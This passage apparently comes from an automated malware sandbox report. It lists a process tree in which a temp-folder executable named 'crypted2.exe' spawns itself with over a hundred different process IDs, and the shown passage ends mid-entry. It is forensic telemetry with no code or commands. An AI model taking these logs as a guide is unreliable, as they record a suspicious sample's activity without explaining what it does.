      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6292
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6304
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6300
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5732
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6312
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6220
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6204
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5524
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:392
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6248
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6196
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6244
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6352
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6428
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6332
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2624
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6480
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6512
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6236
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6348
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6380
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6708
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6836
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6968
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5416
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5764
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5204
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6288
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6852
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6832
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6896
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6328
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5144
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6804
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6156
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2572
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7172
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7180
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7188
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7196
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7208
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7220
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7228
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7236
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7244
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7252
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7292
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7300
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7324
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7332
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7340
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7352
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7388
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7396
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7404
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7412
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7440
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7448
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7456
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7464
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7484
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7520
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7532
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7540
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7552
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7560
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7568
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7576
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7584
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7592
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7656
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7668
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7680
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7696
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7724
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7748
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7760
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7832
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7848
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7860
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7876
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7896
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7904
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7912
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7920
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7940
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7948
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7964
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7972
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7980
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7988
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7996
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8004
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8020
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8048
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8060
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8096
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8104
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8124
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8132
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8144
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8152
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8168
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8176
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8184
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7360
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7368
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7500
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2760
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7632
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7692
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7792
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7780
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6772
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6768
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7928
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7960
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5236
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8068
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8076
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8092
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8088
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8116
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8140
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7264
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7260
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:4240
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6340
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7888
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6520
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7608
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7636
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7284
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7800
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1120
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8204
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8216
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8224
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8248
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8256
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8272
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8284
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8300
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8332
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8348
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8356
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8368
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8388
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8400
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
